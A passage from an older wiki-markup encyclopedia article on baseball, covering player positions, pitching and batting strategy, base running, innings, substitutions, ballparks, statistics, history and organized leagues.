The [[first baseman]]'s job consists largely of making [[force play]]s at [[First baseman|first base]] on [[ground ball]]s hit to the other [[infielder]]s. When an [[infielder]] picks up a ball from the ground hit by the [[batter]], he must throw it to the [[first baseman]] before the [[batter]] gets to the base for the [[batter]] to be out. The [[first baseman]] must be able to catch the ball very well. The [[first baseman]] also fields balls hit near first base. The [[first baseman]] also has to receive throws from the pitcher in order to tag runners out who have reached base safely. The position is less physically challenging than the other positions, but there is still a lot of skill involved. [[Infielders]] don't always make good throws to first base, so it is the [[first baseman]]'s job to field any ball thrown toward him cleanly. Older players who can no longer fulfill the demands of their original positions also often become first basemen. The [[second baseman]] covers the area to the right of [[Second baseman|second base]] and provides backup for the [[first baseman]] in [[bunt]] situations. He/She also is a cut-off for the [[outfield]]. This is when the outfielder doesn't have to throw the full distance from him/her to the base, but just to the cut-off. The [[shortstop]] fills the critical gap between second and third bases—where right-handed [[batter]]s generally hit ground balls—and also covers second or third base and the near part of [[left field]]. This player is also a cut-off for the [[outfield]]. This position is the most demanding defensively, so a good [[shortstop]] doesn't need to necessarily be a good [[batter]]. The [[third baseman]]'s primary requirement is a strong throwing arm, in order to make the long throw across the [[infield]] to the [[first baseman]]. Quick reaction time is also important for third basemen, as they tend to see more sharply hit balls than the other [[infielder]]s.

====The outfielders====
The three outfielders, ''[[left fielder]]'', ''[[center fielder]]'', and ''[[right fielder]]'', are so named from the [[catcher]]'s perspective looking out onto the field. The [[right fielder]] generally has the strongest arm of all the [[outfielder]]s due to the need to make throws on runners attempting to take [[Third baseman|third base]]. The [[center fielder]] has more territory to cover than the corner [[outfielder]]s, so this player must be quick and agile with a strong arm to throw balls in to the [[infield]]; as with the [[shortstop]], teams tend to emphasize defense at this position.  Also, the [[center fielder]] is considered the [[outfield]] leader, and left- and right-fielders often cede to his direction when fielding [[fly ball]]s. Of all outfielders, the ''[[left fielder]]'' often has the weakest arm, as they generally do not need to throw the ball as far in order to prevent the advance of any baserunners. The left fielder still requires good fielding and catching skills, and tends to receive more balls than the right fielder due to the fact that [[right-handed]] hitters, who are much more common, tend to &quot;pull&quot; the ball into left field. The left fielder also backs up [[third baseman|third base]] on pick-off attempts from the [[catcher]].

====Defensive strategy====
=====Pitching=====
[[Image:baseball_pitching_motion_2004.jpg|thumb|420px|The typical motion of a pitcher]]
{{main|Pitching}}

Effective pitching is vitally important to a baseball team, as pitching is the key for the defensive team to retire batters and to preventing runners from getting on base.  A full game usually involves over one hundred pitches thrown by each team.  However, most pitchers begin to tire before they reach this point. In previous eras, pitchers would often throw up to four complete games (all nine innings) in a week. With new advances in medical research and thus a better understanding of how the human body functions and tires out, starting pitchers tend more often to throw fractions of a game (typically 6 or 7 innings depending on their performance) about every five days (though a few complete games do still occur each year). 

Multiple pitchers are often needed in a single game, including the [[starting pitcher]] and [[relief pitcher]](s). Pitchers are substituted for one another like any other player (see below), and the rules do not limit the number of pitchers that can be used in a game; the only limiting factor is the size of the squad, naturally. In general, starting pitchers are not used in relief situations except sometimes during the post-season when every game is vital. If a game runs into many extra innings, a team may well empty its bullpen. If it then becomes necessary to use a &quot;position player&quot; as a pitcher, major league teams generally have certain players pre-designated as emergency relief pitchers, to avoid making a mockery of the game. In baseball's early years, squads were smaller, and relief pitchers were relatively uncommon, with the starter normally remaining for the entire game unless he was either thoroughly ineffective or became injured; today, with a much greater emphasis on pitch count (100 being the &quot;magic number&quot; in general), over the course of a single game each team will frequently use from two to five pitchers. In the 2005 [[ALCS]], all four of the [[Chicago White Sox]] victories were complete games by the starters, a highly noteworthy event in the modern game.

Although a pitcher can only take one step backward and one forward while delivering the ball, the pitcher has a great arsenal at his disposal in the variation of location, velocity, movement, and arm location (see [[list of baseball pitches|types of pitches]]). Most pitchers attempt to master two or three types of pitches; some pitchers throw up to 6 types of pitches with varying degrees of control. Common pitches include a [[fastball]], which is the ball thrown at just under maximum velocity; a [[curveball]], which is made to curve by rotation imparted by the pitcher; and a change-up, which seeks to mimic the delivery of a fastball but arrives at significantly lower velocity.  

To illustrate pitching strategy, consider the &quot;fastball/change-up&quot; combination: The average major-league pitcher can throw a fast ball around 90 [[miles per hour]] (145 km/h), and a few pitchers have even exceeded 100 miles per hour (161 km/h).  The [[change-up]] is thrown somewhere between 75 to 85 miles per hour (121 to 137 km/h).  Since the batter's timing is critical to hitting a pitch, a batter swinging to hit what looks like a fast ball, would be terribly fooled (swing and miss, hopefully) when the pitch turns out to be a much slower change-up.

Some pitchers choose to throw using the 'submarine style,' a very efficient sidearm or near-underhand motion. Pitchers with a submarine delivery are often very difficult to hit because of the angle and movement of the ball once released. They cannot generate the amount of power that an overhand delivery can bring, so they depend on placement and keeping the batter &quot;off balance&quot;. There are exceptions. [[Walter Johnson]], who threw one of the fastest fast balls in the history of the game, threw sidearm (though not submarine) rather than a normal overhand.

=====Fielding strategy=====
Since only the pitcher's and catcher's locations are fixed, the other players on the field move around as needed to defend against scoring a run.  Many variations of this are possible, as location depends upon the &quot;situation.&quot;  &quot;Situation&quot; refers to immediate circumstances of play, and includes: the number of outs, the count (balls and strikes) on the batter, the number and speed of runners, the ability of the fielders, the ability of the pitcher, the type of pitch thrown, the inning, home versus visiting team, and others.  As the situation dictates, the fielders move to more strategic locations.  Common defensive situations include: playing for the bunt, trying to prevent a stolen base (runner advancing to the next base), moving the defensive to a shallow position to throw out a runner at home, playing at &quot;[[double play]] depth&quot;, moving fielders to locations where hitters are most likely to hit the ball, etc.

===Team at bat===
====Batters and runners====
The ultimate goal of the team at bat is to score runs. To accomplish this feat, the team at bat successively (in an predetermined order called a ''lineup'') sends its nine players to the batter's box (adjacent to home plate) where they become batters. (Each team sets its batting lineup at the beginning of the game. Changes to the lineup are tightly limited by the rules of baseball and must be communicated to the umpires, who have the substitutions announced for the opposing team and fans.  See [[#Substitutions|Substitutions]] below.)

A batter's turn at the plate is called a ''[[plate appearance]]''.  Batters advance to the bases in a variety of ways: hits, walks, hit-by-pitch, and a few others. When the batter hits a fair ball, he must run to first base, and may continue or stop at any base unless he is put out. A successful hit occurs when the batter reaches a base: reaching only first base is a ''single''; reaching second base, a ''double''; third base, a ''triple''; and hit that allows the batter to touch all bases in order on the same play is a [[home run]], whether or not the ball is hit over the fence.  Once a runner is held to a base, he may attempt to advance at any time, but is not required to do so unless the batter or another runner displaces him (called a force play). A batter always drops his bat when running the bases— otherwise, the bat would slow him down and could give rise to a call of interference if it were to contact the ball or a fielder.

Depending on the way the ball comes off the bat, the play has [[Types of batted balls in baseball|different names]]. A batted ball is called a ''[[fly ball]]'' if it was hit in the air in a way causing the fielder to catch it on its descent. A ''[[line drive]]'' is like a fly ball, but the ball is hit with such force that its trajectory seems level to the ground.  A batted ball which is not hit into the air, and which touches the ground within the infield before it can be caught, is called a ''[[ground ball]]''. When a ball is hit outside the foul line, it is a ''foul ball'', requiring the batter and all runners to return to their respective bases.

Once the batter and any existing runners have all stopped at a base or been put out, the ball is returned to the pitcher, and the next batter comes to the plate. After the opposing team bats in its own order and three more outs are recorded, the first team's batting order will continue again from where it left off.

When a runner reaches home plate, he scores a run and is no longer a base runner. He must leave the playing area until his spot in the order comes up again. A runner may only circle the bases once per plate appearance and thus can score no more than a single run.

====Batting====
[[Image:Beiserebatedor.jpg|thumb|right|Seven-time [[Most Valuable Player|MVP]] [[Barry Bonds]] just after swinging at a pitch (photo: Agência Brasil)]]
{{main|Batting (baseball)}}
Each [[plate appearance]] consists of a series of pitches, in which the [[pitcher]] throws the ball towards home plate while a batter is standing in the [[batter's box]]. With each pitch, the batter must decide whether or not to swing the bat at the ball in an attempt to hit it. The pitches arrive quickly, so the decision to swing must be made in less than a tenth of a second, based on whether or not the ball is hittable and in the ''[[strike zone]]'', a region defined by the area directly above home plate and between the hollow beneath the batter's knee and the midpoint between the top of the shoulders and the top of the uniform pants.  In addition to swinging at the ball, a batter who wishes to put the ball in play may hold his bat over home plate and attempt to tap a pitch lightly; this is called a [[bunt]].

On any pitch, if the batter swings at the ball and misses, he is charged with a ''[[strike (baseball statistics)|strike]]''.  If the batter does not swing, the home plate [[umpire (baseball)|umpire]] judges whether or not the ball passed through the strike zone.  If the ball, or any part of it, passed through the zone, it is ruled a strike; otherwise, it is called a ''[[ball (baseball statistics)|ball]]''.  The number of balls and strikes thrown to the current batter is known as the [[count (baseball)|count]]; the count is always given balls first, then strikes (such as 3-2 or &quot;three and two&quot;, which would be 3 balls and 2 strikes).  

If the batter swings and makes contact with the ball, but does not put it in play in fair territory—a ''[[foul ball]]''—he is charged with an additional strike, except when there are already two strikes.  Thus, a foul ball with two strikes leaves the count unchanged.  (However, a noted exception to this rule is that a ball bunted foul with two strikes always counts as a strike.)  If a pitch is batted foul or fair and a member of the defensive team is able to catch it, before the ball strikes the ground, the batter is declared out.  In the event that a bat contacts the ball, but the ball continues sharply and directly to the catcher's mitt and is caught by the catcher, it is a ''[[foul tip]]'', which is same as an ordinary strike.

When three strikes occur on a batter, it is a ''[[strikeout]]'' and the batter is automatically out unless the pitch is not caught by the catcher (a violation of the third strike rule{{ref|ThirdStrikeRule}}). If the catcher drops the third strike the batter is allowed to attempt to advance to first base.(The catcher can try to get him out.)

On the fourth [[ball (baseball statistics)|ball]] the batter becomes a runner, and is entitled to advance to first base without risk of being put out, called a ''[[base on balls]]'' or a ''walk'' (abbreviated BB).   If a pitch touches the batter, the umpire declares a ''[[hit by pitch]]'' (abbreviated HBP) and the batter is awarded first base, unless the umpire determines that the ball was in the strike zone when it hit the batter, or that the batter did not attempt to avoid being hit. In practice, neither exception is ever called unless the batter obviously tries to get hit by the pitch; even standing still in the box will virtually always be overlooked, and the batter awarded first.

====Base running====
{{main|Baserunning}}

Once a batter becomes a runner, he is said to be &quot;on&quot; that base until he attempts to advance to the next base, until he is put out, or until the half-inning ends.  Runners on second or third base are considered to be in ''scoring position'' since ordinary hits, even singles, will often score them. 

If a runner approaches a base and that base is already occupied by another runner, the latter has to leave the base. This way one to four players of the offensive team can be on the infield: the batter, and three runners on each base. Consequently a home run hit can count up to four runs (see [[grand slam (baseball)|grand slam]]).

A runner legally touching a base is &quot;safe&quot;—he may not be put out.  Runners may attempt to advance from base to base at any time (except when time is called by the umpire), but must advance on any fair ball that touches the ground if he is forced to by a later runner claiming that base. When a ball is hit in the air, a ''fly ball'', and caught by the defending team, runners must return and touch the base they occupied at the [[time of pitch|time of the pitch]]—called ''[[tag up|tagging up]]''—after the ball is caught. Once they do this, they may attempt to advance at their own risk.

[[Image:Baseball_pick-off_attempt.jpg|thumb|250px|right|Pick-off attempt on runner (in red) at first base]]
Baserunners may attempt to advance, or [[stolen base|steal a base]], while the pitcher is throwing a pitch.  The pitcher, in lieu of delivering the pitch, may try to prevent this by throwing the ball to one of the infielders in order to tag the runner; if successful, it is called a ''pick-off''.  If the runner attempts to steal the next base but is tagged out before reaching it safely, he is ''caught stealing''. An illegal attempt by the pitcher to throw a runner out, among other pitching violations, is called a [[balk]], allowing the runners to advance one base without risk of being put out.

====Batting and base running strategy====
The goal of each batter is to become a base runner himself (usually by a safe hit or a [[base on balls]]), or to help move other base runners along.  Batters attempt to &quot;read&quot; pitchers through pre-game preparation by studying the tendencies of pitchers and by talking to other batters that previously faced the pitcher.  While batting, batters attempt to &quot;read&quot; pitches by looking for clues that the pitcher or catcher reveal. These clues (also referred to as &quot;tipping pitches&quot;) include movements of the pitchers arms, shoulders, body, etc, and an attempt to &quot;read&quot; the spin of a ball early in the pitch to anticipate its trajectory.  Batters also remain keenly aware of the count during their at bat.  When the count is in the batter's favor (like 2-0), the batter is more likely to take a risky swing, but when the count is in the pitcher's favor (like 0-2), the batter will take a more conservative swing.

In general, base running is a tactical part of the game requiring good judgment by runners (and their coaches) to assess the risk in attempting to advance. During [[tag out|tag]] plays, a good [[slide (baseball)|slide]] can affect the outcome of the play.  Managers will often simultaneously send a runner and require the batter to swing (a ''hit-and-run play'') in an attempt to advance runners.  

During the course of play many offensive and defensive players run close to each other, and during [[tag out|tag]] plays, the defensive player must touch the offensive player.  Although baseball is considered a [[non-contact]] sport; a runner may be allowed to make potentially dangerous contact with a fielder as part of an attempt to reach a base, unless that fielder is fielding a batted ball.  (Noted exceptions to the dangerous contact rule are found throughout amateur competitions, including youth leagues, high school, and college baseball.)  A good slide is often more advantageous than such contact, and &quot;malicious&quot; contact by runners is typically prohibited as offensive [[interference (baseball)|interference]].  The most common occurrence of contact of this nature is at home plate between the runner and the catcher, as the catcher is well padded and locked into position on or near the plate, and the runner will often try to knock the ball out of the catchers hand.  Since the catcher is seen (symbolically and literally) as the last line of defense, it seems natural that the more physical play happens here.

===Innings and determining a winner===
An ''[[innings#Baseball|inning]]'' consists of each team having one turn in the field and one turn to hit, with the visiting team batting before the home team.  A standard game lasts nine innings, although some leagues (such as high school baseball) use seven-inning games. The team with the most runs at the end of the game wins. If the home team is ahead after eight-and-a-half innings have been played, it is declared the winner, and the last half-inning is not played. If the home team is trailing or tied in the last inning and they score to take the lead, the game ends as soon as the winning run touches home plate; however, if the last batter hits a home run to win the game, he and any runners on base are all permitted to score.

If both teams have scored the same number of runs at the end of a regular-length game, a [[tie (draw)|tie]] is avoided by the addition of [[extra innings]]. As many innings as necessary are played until one team has the lead at the end of an inning. Thus, the home team always has a chance to respond if the visiting team scores in the top half of the inning; this gives the home team a small tactical advantage.  In theory, a baseball game could go on forever; in practice, however, they eventually end.  In addition to that rule, a game might theoretically end if both the home and away team were to run out of players to substitute (See Substitutions). In [[Major League Baseball]] the longest game played was a 26-inning affair between the [[Los Angeles Dodgers|Brooklyn Robins]] and [[Boston Braves]] on [[May 1]], [[1920]]. The game ended in a 1-1 tie called on account of darkness.

In [[Major League Baseball]], games end with tie scores only because conditions have made it impossible to continue play. A tie game does not count as an official game in the standings unless it is finished later or replayed; however, individual player statistics from tie games are counted. Inclement weather may also shorten games, but at least five innings must be played for the game to be considered official; four-and-a-half innings are enough if the home team is ahead. Previously, [[curfew]]s and the absence of adequate lighting caused more ties and shortened games. Also, with more modern playing surfaces better able to handle light rains, the process for calling or shortening a game due to weather has changed; it is more common than in the past to delay a game as much as 2 hours before a cancellation; also, a delay usually does not occur anymore until the rain is moderate-heavy and/or there is standing water on some part of the playing field. 

In [[Japanese baseball]], if the score remains tied after nine innings, up to three extra innings may be played before the game is called a tie.  Some youth or amateur leagues will end a game early if one team is ahead by ten or more runs, a practice known as the &quot;mercy rule&quot; or &quot;[[slaughter rule]]&quot;. Rarely, a game can also be won or lost by [[forfeit (baseball)|forfeit]].

There is a short break between each half-inning during which the new defensive team takes the field and the pitcher warms up.  Traditionally, the break between the top half and the bottom half of the seventh inning is known as the [[seventh-inning stretch]].  During the &quot;stretch,&quot; fans often sing the chorus of &quot;[[Take Me Out to the Ball Game]],&quot; although since [[September 11, 2001]], &quot;God Bless America&quot; has become common.

===Substitutions===
Each team is allowed to substitute for any player at any time the ball is dead. A batter who replaces another batter is referred to as a ''[[pinch hitter (baseball)|pinch hitter]]''; similarly, a ''[[pinch runner (baseball)|pinch runner]]'' may be used as a replacement for a baserunner. Any replacement is a permanent substitution; the replaced player may not return to the game.

It is common for a pitcher to pitch for several innings and then be removed in favor of a [[relief pitcher]]. Because pitching is a specialized skill, most pitchers are relatively poor hitters; it is common to substitute for a pitcher when he is due to bat.  This pinch hitter is typically then replaced by a relief pitcher when the team returns to the field on defense, but more complicated substitutions are possible, most notably the ''[[double switch]]''.

Many [[amateur]] leagues allow a starting player who was removed to return to the game in the same position in the batting order under a re-entry rule. Youth leagues often allow free and open substitution to encourage player participation.

Most leagues, notably [[Major League Baseball]]'s [[American League]], allow a ''[[designated hitter]]'', a player whose sole purpose is to hit when it would normally be the pitcher's turn.  This is not considered a substitution but rather a position, albeit a purely offensive one.  A designated hitter does not play in the field on defense and may remain in the game regardless of changes in pitchers.

===Rosters===
{{main|Major League Baseball transactions}}

During the course of a game, each baseball team has players that are an active part of the game, called &quot;in the game,&quot; and players that are not, called &quot;on the bench.&quot;  The players on the bench are needed in case of injuries and to make strategic pitching, fielding, and batting substitutions. To keep the game fair, each team is limited to a fixed number of players.  That number is dictated by the rules of the game. In the major leagues, a team may have a maximum of 25 men on a roster from Opening Day until August 31.  After that, teams may call up additional personnel, up to a maximum of 40 players on the active roster.

==Other personnel==
Each team is run by a ''[[manager (baseball)|manager]]'', whose primary responsibility during the game is to assign players to fielding positions, determine the lineup, deciding how to substitute players, and, most importantly, choosing the course of strategy throughout the game. Managers are also assisted by [[coach (baseball)|coaches]] in helping players to develop their skills. When a team is at-bat, they will position a coach or manager in each coach's box referred to as the first and third base coaches. These coaches must help the players decide whether they should try to run to the next base; also, the coaches will signal plays to the batter and runners.  Baseball is unique in that the manager and coaches all wear numbered uniforms similar to those of the players.

Any baseball game involves one or more [[umpire (baseball)|umpire]]s, who make rulings on the outcome of each play. At a minimum, one umpire will stand behind the catcher, to have a good view of the strike zone, and call each pitch a ball or a strike. Additional umpires may be stationed near the bases, thus making it easier to see plays in the field. In [[Major League Baseball]], four umpires are used for each game, one near each base. In the all-star game and playoffs, six umpires are used: one at each base and two in the outfield along either foul line.

Another notable role in baseball is that of the [[official scorer]]. The results of baseball games are summarized in tables called [[box score (baseball)|box scores]]. The scorer is responsible for a number of judgments that go into the boxscore. For example, if a batted ball is misplayed by a fielder, the scorer may choose to charge the fielder with an ''error'' instead of crediting the batter with a hit. Within certain guidelines, the scorer also determines which pitchers are credited with winning and losing the game, and whether a relief pitcher will be awarded a ''[[hold]]'' or ''[[save (sport)|save]]'', specific situations in which a relief pitcher keeps a lead intact for his team.

==Baseball's unique style==
Baseball is unique among American sports in several ways. This uniqueness is a large part of its longstanding appeal and strong association with the American psyche. The philosopher [[Morris Raphael Cohen]] described baseball as a national [[religion]].

Although the following elements all contribute to baseball's uniqueness in American culture, they are all shared by its cousin game [[cricket]]. In many [[Commonwealth of Nations|Commonwealth]] nations, cricket and the culture surrounding it hold a similar place and affection to baseball's role in American culture.

===Time element===
[[American football]], [[basketball]], [[ice hockey]] and [[soccer]] all use a clock, and games often end by a team [[killing the clock]] rather than competing directly against the opposing team. In contrast, baseball has no clock; a team cannot win without getting the last batter out and rallies are not constrained by time.

In recent decades, observers have criticized professional baseball for the length of its games, with some justification as the time required to play a baseball game has increased steadily through the years.  One hundred years ago, games typically took an hour and a half to play; in 2004, the average major league baseball game lasted 2 hours and 47 minutes. This is due to longer commercial breaks, increased offense, more pitching changes, and a slower pace of play.

In response, [[Major League Baseball]] has instructed umpires to be more strict in enforcing speed-up rules and the size of the [[strike zone]]. Although the official rules specify that when the bases are empty, the pitcher should deliver the ball within 20 seconds of receiving it (with the penalty of a ball called if he fails to do so), this rule is rarely, if ever, enforced.

===Individual and team===
Baseball is fundamentally a team sport&amp;#8212;even two or three Hall of Fame-caliber players are no guarantee of a [[pennant]]&amp;#8212;yet it places individual players under great pressure and scrutiny. The pitcher must make good pitches or risk losing the game; the hitter has a mere fraction of a second to decide what pitch has been thrown and whether or not to swing at it. While their respective managers and/or coaches can sometimes signal players regarding the strategies the manager wants to employ, no one can help the pitcher while he pitches or the hitter while he bats. If the batter hits a line drive, the outfielder, as the last line of defense, makes the lone decision to try to catch it or play it on the bounce. Baseball history is full of heroes and goats&amp;#8212;men who in the heat of the moment (the &quot;clutch&quot;) distinguished themselves with a timely hit or catch, or an untimely strikeout or error.



===The uniqueness of each baseball park===
[[Image:WrigleyFieldScoreBoard081105.jpg|thumbnail|right|300px|The main scoreboard after the [[August 11]], [[2005]] Cubs - Cardinals game at [[Wrigley Field]], [[Chicago, Illinois]].]]
{{main|Baseball parks}}

Unlike the majority of sports, baseball parks do not have to follow a strict set of guidelines. With the exception of the strict rules on the dimensions of the infield, discussed above, the [http://mlb.mlb.com/NASApp/mlb/mlb/official_info/official_rules/foreword.jsp official rules] simply state that fields built after [[June 1]], [[1958]] must have a minimum distance of 325 feet (99 m) from home plate to the fences in left and right field and 400 (121 m) feet to center. This rule (a footnote to official rule 1.04) was passed specifically in response to the fence at the [[Los Angeles Memorial Coliseum]], which was 251 feet (77 m) to the left field pole, 1 foot (0.3 m) over the bare minimum required by the rules.  However, major league teams often skirt this rule.  For example, [[Minute Maid Park]]'s left field is only 315 feet (96 m), and with a fence much lower than the famous &quot;Green Monster&quot; at [[Fenway Park]].  And there are no rules at all regulating the height of &quot;fences, stands or other obstructions&quot;, other than the assumption that they exist.  Because of this flexibility, there are all sorts of variations in parks, from different lengths to the fences to uneven playing surfaces to massive or minimal amounts of foul territory.  All of these factors, as well as local variations in altitude, climate and game scheduling, can affect the nature of the games played at those ballparks, and a park may be referred to as either a &quot;pitcher's park&quot; or a &quot;hitter's park&quot;, depending on which side benefits more from the unique factors present. [[Wrigley Field]], strangely enough, can be ''either'', depending on the wind direction at any given time.

==Statistics==
{{main|Baseball statistics}}

As with many sports, and perhaps even more so, [[statistics]] are very important to baseball.  Statistics have been kept for the Major Leagues since their creation, and presumably statistics were around even before that.  General managers, [[scout (sport)|baseball scout]]s, managers, and players alike study player statistics to help them choose various strategies to best help their team.

Traditionally, statistics like [[batting average]] for batters—the number of hits divided by the number of at bats—and [[earned run average]]—approximately the number of runs given up by a pitcher per nine innings—have governed the statistical world of baseball.  However, the advent of [[sabermetrics]] has brought an onslaught of new statistics that perhaps better gauge a player's performance and contributions to his team from year to year.  

Some sabermetrics have entered the mainstream baseball statistic world.  [[On-base plus slugging]] (OPS) is a somewhat complicated formula that gauges a hitter's performance better than batting average.  It combines the hitter's [[on base percentage]]—hits plus walks plus [[hit by pitch]]es divided by [[plate appearances]]—with their [[slugging percentage]]—[[total bases]] divided by at bats.  [[Walks plus hits per inning pitched]] (or ''WHIP'') gives a good representation of a pitcher's abilities; it is calculated exactly as its name suggests.

Also important are more specific statistics for a certain situation.  For example, a certain hitter's ability to hit left-handed pitchers might cause his manager to give him more chances to face lefties.  Some hitters hit better with runners in scoring position, so an opposing manager, knowing this statistic, might elect to [[intentional base on balls|intentionally walk]] him in order to face a poorer hitter.

==History==
[[Image:Conner-prairie-baseball.jpg|300px|thumb|1886 baseball demonstration at [[Conner Prairie]] living history museum.]]
{{main|History of Baseball}}

Baseball is thought to be a direct descendant of [[cricket]], [[rounders]], and [[town ball]] (which was much like rounders).  The first explicit references to baseball appear to come from England.  The earliest known mention of the sport is in a 1744 publication, ''A Little Pretty Pocket-Book'' by John Newbery. It contains a wood-cut illustration of boys playing &quot;baseball&quot; (showing a similar set-up to the modern game) and a rhymed description of the sport.  Also, a British letter dating from 1748 by Lady Hervey describes how the then Prince of Wales diverted his time playing baseball. 

Another early mention of the game can be found in an 1886 edition of ''Sporting Life'' magazine, in a letter from Dr. Adam Ford of [[Denver, Colorado]], formerly of [[St. Marys, Ontario, Canada]], who details a base ball game played in Beachville, Ontario, Canada, on [[June 4]], [[1838]] -- Militia Muster Day.

[[Alexander Cartwright]] had a hand in compiling and publishing an early list of rules in 1845 (the so-called ''[[Knickerbocker Rules]]'') to meet the demands of the already popular sport, and today's [[Baseball rules|rules of baseball]] have evolved from them. 

Professional baseball began in the [[United States]] around 1865, and the [[National League]] was founded in 1876 as the first true major league, quickly producing famous players such as [[Honus Wagner]]. Several other major leagues formed and failed, but the [[American League]], established in 1901 as a major league and originating from the minor Western League (1893), did succeed. While the two leagues were rivals who actively fought for the best players, often disregarding one another's contracts and engaging in bitter legal disputes, a modicum of peace was established in 1903, they began playing a [[World Series]] that year.

Compared to modern times, games in the early part of the 20th century were lower scoring and pitchers were more successful. The &quot;inside game&quot;, whose nature was to &quot;scratch for runs&quot;, was played rather more violently and aggressively than it is today. [[Ty Cobb]] said of his era especially, &quot;Baseball is a war!&quot;  This period, which has since become known as the &quot;[[dead-ball era]]&quot;, ended in the 1920s with several rule changes that gave advantages to hitters and the rise of the legendary baseball player [[Babe Ruth]], who showed the world what power hitting could produce and thus changed the nature of the game.

During the first half of the 20th century, a &quot;gentlemen's agreement&quot; in the form of the [[baseball color line]] effectively barred African-American players from the major leagues (though not Native Americans, oddly enough), resulting in the formation of several [[Negro Leagues]]. Finally in [[1947 in sports|1947]], Major League Baseball's color barrier was broken when [[Jackie Robinson]] was signed by the National League's [[Los Angeles Dodgers|Brooklyn Dodgers]]. Although it was not instantaneous, baseball has since become fully [[racial integration|integrated]].

Baseball has often been a barometer of the fabled American &quot;melting pot&quot;, as immigrants from different regions have tried to &quot;make good&quot; in various areas including sports. In the 19th century, baseball was populated with many players of Irish or German extraction. A number of Native Americans had successful careers especially in the early 1900s. Italians and Poles appeared on many rosters during the 1920s and 1930s. Black Americans came on strong starting in the late 1940s after the barriers had been lifted, and continue to form a significant contingent. By the 1960s, Hispanics had started to make the scene, and had become a dominant force by the 1990s. In the 21st century, East Asians have been appearing in increasing numbers.

The middle of the century led major league baseball to the West of the United States and also became a time when pitchers dominated. Scoring became so low in the American League, due to pitching dominance, that the [[designated hitter]] was introduced; this rule now constitutes the primary difference between the two leagues.  

Despite the popularity of baseball, and the attendant high salaries relative to those of average Americans, the players have become unsatisfied from time to time, as they believed the owners had too much control—a stance that many baseball fans found objectionable. Various job actions have occurred throughout the game's history.  Players on specific teams occasionally attempted strikes, but usually came back when their jobs were sufficiently threatened. The throwing of the [[1919 World Series]], the &quot;Black Sox scandal&quot;, was in some sense a &quot;strike&quot; or at least a rebellion by the ballplayers against a perceived stingy owner. But the strict rules of baseball contracts tended to keep the players &quot;in line&quot; in general.

This began to change in the 1960s when former [[Steelworkers Union]] president [[Marvin Miller]] became the [[Major League Baseball Players Association|Baseball Players Union]] president. The union became much stronger than it had been previously, especially when the reserve clause was effectively nullified in the mid-1970s. A series of strikes and lockouts began in baseball, affecting portions of the 1972 and 1981 seasons and culminating in the infamous strike of 1994 that led to the cancellation of the World Series and carried over into 1995 before it was finally settled.

The players typically always got what they demanded, but the popularity of baseball diminished greatly as a result of the players' actions, and fans were slow to return. [[Cal Ripken, Jr.|Cal Ripken]]'s record-breaking 2131st consecutive game in 1995 was a feel-good moment that helped boost interest in the sport. The great home run race of [[1998 in sports|1998]] between [[Mark McGwire]] and [[Sammy Sosa]] really turned things around, captivating fans all summer.  As with other times when adversity threatened the game, positive on-field events had triggered a renewed surge in baseball's popularity in America.

Professional baseball leagues began to form in [[History of baseball outside the United States|countries outside of America]] in the 1920s and 1930s, including the [[Netherlands]] (formed in 1922), [[Japan]] (1936), and [[Australia]] (1934). Today, Venezuela (1945), the whole of [[Europe]] (1953), [[Italy]] (1948), [[Korea]] (1982), [[Republic of China|Taiwan]] (1990), and [[People's Republic of China|mainland China]] (2003) all have professional leagues as well (however, the leagues in [[Australia]], [[Italy]] and the [[United Kingdom]] have generally had a niche appeal compared to the leagues in [[Asia]] and [[Venezuela]] and only now is the sport beginning to broaden in scope in those nations, most notably in [[Australia]], who won a surprise silver medal in the [[2004 Olympic Games]]). [[Israel]] is trying to form a professional baseball league with the help of American emigres. [[Canada]] has a franchise in [[Major League Baseball]] as well.  Competition between national teams, such as in the [[World Cup of Baseball]] and the [[Olympics|Olympic]] baseball tournament, has been administered by the [[International Baseball Federation]] since its formation in 1938. [[As of 2004]], this organization has 112 member countries. The new [[World Baseball Classic]], to be held in 2006, seems likely to have a much higher profile than previous tournaments, owing to the participation for the first time of a significant number of players from the United States Major Leagues.

The [[117th IOC Session|117th meeting]] of the [[International Olympic Committee]], held in [[Singapore]] in July 2005, voted not to hold baseball and [[softball]] tournaments at the [[2012 Summer Olympic Games]], but they will remain an [[Olympic sport]] during the [[2008 Summer Olympic Games]], and will be put to vote again for each succeeding Summer Olympics. The elimination of baseball and softball from the 2012 Olympic program enabled the IOC to consider adding two other sports to the program instead, but no other sport received a majority of votes favoring its inclusion. While baseball's lack of major appeal in a significant portion of the world was a factor, a more important factor was the unwillingness of [[Major League Baseball]] to have a break during the Games so that it's players could participate, something that the [[National Hockey League]] now does during the [[Winter Olympic Games]].

==Organized leagues==
Baseball is played at a number of levels, by amateur and professionals, and by the young and the old.  Youth programs use modified versions of adult and professional [[baseball rules]], which may include a smaller field, easier pitching (from a coach, a tee, or a machine), less contact, base running restrictions, limitations on innings a pitcher can throw, liberal balk rules, and run limitations, among others.  Since rules vary from location-to-location and among the organizations, coverage of the nuances in those rules is beyond this article.  

Following is a list of organized leagues:
* Youth Leagues
** [[Little League]], a youth program, headquartered in Williamsport, Pennsylvania (USA).
** [http://www.dizzydeanbbinc.org/ Dizzy Dean Baseball] a youth program in the USA.
** [http://www.baseball.legion.org American Legion Baseball], a youth program, headquartered in Indianapolis, IN.
** [http://www.usssa.com/sports/Home.asp?Sport=11 USSSA Baseball] a youth and adult program, headquartered in Kansas City, Missouri (USA).
** [http://www.ripkenbaseball.com/ Ripken Baseball], a youth program, headquartered in Baltimore, Maryland (USA).
** [http://www.baberuthleague.org/ Babe Ruth League], a youth program, headquarted in Trenton, New Jersey (USA).
* High School
** In the USA, the [http://www.nfhs.org/ScriptContent/Index.cfm National Federation of State High School Associations (NFHS)] and each state association governs the play of baseball at the high school level.
* Collegiate Level
** [[List of Collegiate Summer Baseball Leagues]]
** [[NCAA]], including [[NCAA Division I]] and the [[College World Series]], are collegiate level baseball programs played in the USA.
* International Competition
** Many international baseball events are coordinated by the [[International Baseball Federation]], including [[World Cup of Baseball|The World Cup]] and The [[World Baseball Classic]].
** As an [[Olympic sport]], see earlier section on the status of baseball in the Olympic games, and the article &quot;[[Baseball at the Summer Olympics]].&quot;
* Semi-professional baseball
** [http://www.independent-baseball.com/ Independent Baseball]
* [[Professional baseball]]
** [[Major League Baseball]] (MLB) in the United States;
** [[Minor League baseball]] in the United States;
** [[Negro League baseball]], defunct since 1958, in the United States.
** [[All-American Girls Professional Baseball League]]
** [[Mexican Baseball]]
** [[Japanese Baseball]]
** [[Taiwan professional baseball]]
